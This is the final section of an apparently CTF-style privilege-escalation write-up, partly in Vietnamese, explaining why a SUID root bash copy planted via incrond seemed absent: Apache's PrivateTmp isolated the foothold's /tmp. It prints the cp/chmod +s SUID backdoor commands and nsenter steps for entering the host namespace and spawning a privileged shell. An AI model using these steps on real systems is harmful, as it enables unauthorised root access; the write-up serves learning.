readlink /proc/$(pgrep -o incrond)/ns/mnt
readlink /proc/$(pgrep -o httpd)/ns/mnt

Inspect the host /tmp through incrond:

1
nsenter -t "$(pgrep -o incrond)" -m ls -la /tmp

Inspect the SUID artifact:

1
nsenter -t "$(pgrep -o incrond)" -m ls -la /tmp/rootbash

20. Final Conclusion

The privilege escalation logic was not defective.

The root-owned SUID binary had been successfully created from the beginning.

The apparent failure resulted from observing /tmp from the wrong mount namespace.

Apache was configured with:

1
PrivateTmp=true

and the foothold inherited Apache’s isolated temporary filesystem.

incrond, on the other hand, executed the privileged operation from the normal host filesystem namespace.

The same path:

1
/tmp/rootbash

therefore represented different filesystem locations depending on which process accessed it.

Using:

1
nsenter -t 773 -m

exposed the correct host filesystem view and confirmed the presence of the root-owned SUID binary.

The key lesson is:

When privilege escalation crosses service boundaries, always verify whether the source shell and target process share the same mount namespace before concluding that a filesystem operation failed.

Additional Info: Nguyên nhân: PrivateTmp làm /tmp bị tách namespace

Vấn đề không nằm ở exploit hay lệnh cp/chmod, mà do shell hiện tại và incrond đang nhìn thấy hai /tmp khác nhau.

Kiểm tra:

1
findmnt /tmp

cho thấy:

1
/tmp ...[/tmp/systemd-private-...-httpd.service-.../tmp]

Đồng thời:

1
grep -i PrivateTmp /usr/lib/systemd/system/httpd.service

trả về:

1
PrivateTmp=true

Điều này xác nhận Apache httpd sử dụng PrivateTmp. Vì foothold ban đầu xuất phát từ Apache/PHP, toàn bộ shell được spawn từ đó đều kế thừa mount namespace riêng của httpd.

Trong namespace này:

1
/tmp

thực chất trỏ tới:

1
/tmp/systemd-private-...-httpd.service-.../tmp

Trong khi đó, incrond không sử dụng PrivateTmp, nên khi nó thực thi:

1
2
cp -p /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash

file được tạo trong /tmp thật của host.

Vì vậy, từ shell của Apache:

1
ls -la /tmp/rootbash

không thấy file, dù thao tác đã thành công.

Xác nhận

PID của incrond là:

1
773

Dùng mount namespace của process này:

1
nsenter -t 773 -m ls -la /tmp/rootbash

kết quả:

1
-rwsr-sr-x 1 root root 964536 Apr 1 2020 /tmp/rootbash

Điều này xác nhận rootbash đã được tạo thành công với quyền root và SUID.

Có thể vào trực tiếp host mount namespace bằng:

1
nsenter -t 773 -m /bin/bash -p

Kết luận

Root cause là mount namespace mismatch:

1
2
3
4
5
6
7
8
9
Apache / PHP shell
      |
      +-- PrivateTmp
      +-- thấy /tmp riêng

incrond
      |
      +-- host namespace
      +-- thấy /tmp thật

Ngay cả khi đã lên root, shell vẫn kế thừa namespace cũ nên không tự động nhìn thấy /tmp của host.

Tóm lại: exploit đã hoạt động đúng; lỗi chỉ nằm ở việc kiểm tra file từ sai mount namespace.

This post is licensed under CC BY 4.0 by the author.